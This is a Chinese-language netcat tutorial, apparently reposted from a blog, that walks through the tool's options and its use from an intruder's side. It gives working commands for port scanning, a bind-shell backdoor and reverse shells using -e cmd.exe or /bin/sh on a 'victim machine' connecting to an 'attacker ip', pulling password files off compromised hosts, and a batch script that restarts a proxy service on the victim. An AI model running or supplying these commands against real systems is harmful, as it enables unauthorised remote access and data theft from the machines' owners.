###################################################################### 
1. 写在前面的话 
###################################################################### 
NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大. 
对照win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就能够看出来了. 
1.1 NC.EXE是一个非标准的telnetclient程序, 
1.2 另一个putty.execlient程序,提供四种连接模式 
-raw -telnet -rlogin -ssh. 
尽管如今也新出了GUI版的中文“NC”,可是相比起来还是这个好用。 
###################################################################### 
2. Netcat 1.10 for NT 帮助信息 
###################################################################### 
C:/WINDOWS/Desktop>nc -h 
[v1.10 NT] 
connect to somewhere: nc [-options] hostname port[s] [ports] ... 
listen for inbound: nc -l -p port [options] [hostname] [port] 
options: 
-d detach from console, background mode (后台模式) 
-e prog inbound program to exec [dangerous!!] 
-g gateway source-routing hop point[s], up to 8 
-G num source-routing pointer: 4, 8, 12, ... 
-h this cruft (本帮助信息) 
-i secs delay interval for lines sent, ports scanned (延迟时间) 
-l listen mode, for inbound connects (监听模式,等待连接) 
-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听) 
-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析) 
-o file hex dump of traffic (十六进制模式输出文件,三段) 
-p port local port number (本地端口) 
-r randomize local and remote ports (随机本地远程端口) 
-s addr local source address (本地源地址) 
-t answer TELNET negotiation 
-u UDP mode 
-v verbose [use twice to be more verbose] (-vv 很多其它信息) 
-w secs timeout for connects and final net reads 
-z zero-I/O mode [used for scanning] (扫描模式,-vv) 
port numbers can be individual or ranges: m-n [inclusive] 
###################################################################### 
3. Netcat 1.10 经常使用的命令格式 
###################################################################### 
3.1.port的刺探: 
nc -vv ip port 
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open 
3.2.扫描器 
nc -vv -w 5 ip port-port port 
nc -vv -z ip port-port port 
这样扫描会留下大量的痕迹,系统管理员会额外小心 
3.3. 后门 
victim machine: //受害者的机器 
nc -l -p port -e cmd.exe //win2000 
nc -l -p port -e /bin/sh //unix,linux 
attacker machine: //攻击者的机器. 
nc ip -p port //连接victim_IP,然后得到一个shell。 
3.4.反向连接 
attacker machine: //通常是sql2.exe,远程溢出,webdavx3.exe攻击. 
//或者wollf的反向连接. 
nc -vv -l -p port 
victim machine: 
nc -e cmd.exe attacker ip -p port 
nc -e /bin/sh attacker ip -p port 
或者: 
attacker machine: 
nc -vv -l -p port1 /*用于输入*/ 
nc -vv -l -p prot2 /*用于显示*/ 
victim machine: 
nc attacker_ip port1   cmd.exe   nc attacker_ip port2 
nc attacker_ip port1   /bin/sh   nc attacker_ip port2 
139要加參数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP) 
这样就能够保证nc.exe优先于NETBIOS。 
3.5.传送文件: 
3.5.1 attacker machine <-- victim machine //从肉鸡拖password文件回来. 
nc -d -l -p port < path/filedest     /*attacker machine*/ 能够shell运行 
nc -vv attacker_ip port > path/file.txt /*victim machine*/ 须要Ctrl+C退出 
//肉鸡须要gui界面的cmd.exe里面运行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C. 
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡 
nc -vv -l -p port > path/file.txt      /*victim machine*/ 须要Ctrl+C退出 
nc -d victim_ip port < path/filedest   /*attacker machine*/ 能够shell运行 
//这样比較好.我们登陆终端.入侵其它的肉鸡.能够选择shell模式登陆. 
结论: 能够传输ascii,bin文件.能够传输程序文件. 
问题:连接某个ip后,传送完毕后,须要发送Ctrl+C退出nc.exe . 
或者仅仅有再次连接使用pskill.exe 杀掉进程.可是是否释放传输文件打开的句柄了? 
3.6 port数据抓包. 
nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15 
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error 
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr 
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... 
< 00000084 83 00 00 01 8f # ..... 
3.7 telnet,自己主动批处理。 
nc victim_ip port < path/file.cmd   /*victim machine*/ 显示运行过程. 
nc -vv victim_ip port < path/file.cmd   /*victim machine*/ 显示运行过程. 
nc -d victim_ip port < path/file.cmd 安静模式. 
_______________file.cmd________________________ 
password 
cd %windir% 
echo []=[%windir%] 
c: 
cd / 
md test 
cd /d %windir%/system32/ 
net stop sksockserver 
snake.exe -config port 11111 
net start sksockserver 
exit
原文:http://www.cnblogs.com/mfrbuaa/p/3855123.html